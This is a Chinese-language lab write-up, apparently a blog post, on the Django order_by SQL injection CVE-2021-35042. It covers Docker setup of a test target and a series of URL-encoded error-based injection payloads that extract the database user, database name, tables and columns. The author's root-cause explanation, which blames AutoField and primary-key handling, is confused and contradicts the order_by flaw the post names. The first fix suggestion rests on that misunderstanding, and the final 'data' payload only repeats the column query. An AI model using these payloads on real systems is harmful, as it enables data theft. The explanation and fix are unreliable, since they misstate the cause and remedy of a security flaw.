前言
SQL隱碼攻擊的原理是對web請求,表單或域名等提交查詢的字串沒有進行安全檢測過濾,攻擊者可以拼接執行惡意SQL命令,導致使用者資料洩露
漏洞原理
Django 元件存在 SQL 注入漏洞,該漏洞是由於對 QuerySet.order_by()中使用者提供資料的過濾不足,攻擊者可利用該漏洞在未授權的情況下,構造惡意資料執行 SQL 注入攻擊,最終造成伺服器敏感資訊洩露。
以下是我自己的理解,根據Django使用的框架中,他建立了apps.py並執行,會自動生成一個models.py
models.py呼叫了Collection的這個類
然後傳送到了這邊,而models又需要migrations來遷移檔案,其中呼叫了models.AutoField,而它如果在沒有增加id這個欄位的時候,會自動增加一個自增的資料庫型別的欄位id,但恰恰在此需要設為主鍵(primary_key=True)否則又會報錯,導致錯誤將id設定為主鍵,可以執行SQL命令且沒有被過濾
所以當order==id時會出現一個自增序列的資料(可以是ID也是等於id)
而當order=-ID又會出現問題,而列印出一些敏感資訊
*影響版本
Django 3.2
Django 3.1
環境搭建
靶機: 192.168.31.230
yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo //下載阿里的映象yum源
yum install docker-ce docker-ce-cli contaninerd.io
wget https://github.com/docker/compose/releases/download/1.25.0-rc4/docker-compose-Linux-x86_64 //下載docker-compose
service docker start
詳細docker搭建請參考此連結:https://www.cnblogs.com/BlogVice-2203/p/16977227.html
將CVE-2021-35042上傳到centos7
docker-compose build
docker-compose up -d //啟動漏洞環境
環境啟動成功後,檢視http://your-ip:8000訪問首頁
構造poc
查當前使用者
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20user())),1)%23
查當前資料庫
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23
查表
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)%23
查欄位
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x5c),1)%23
查欄位
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23
查資料
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23
修復建議
1.將除了id以外的其他欄位其中一個設定為主鍵(我自己對AutoField()的理解),這樣或許可以避免id成為主鍵自增,在資料庫中就沒有了主鍵id,就不會導致SQL隱碼攻擊產生
2.更新最新版本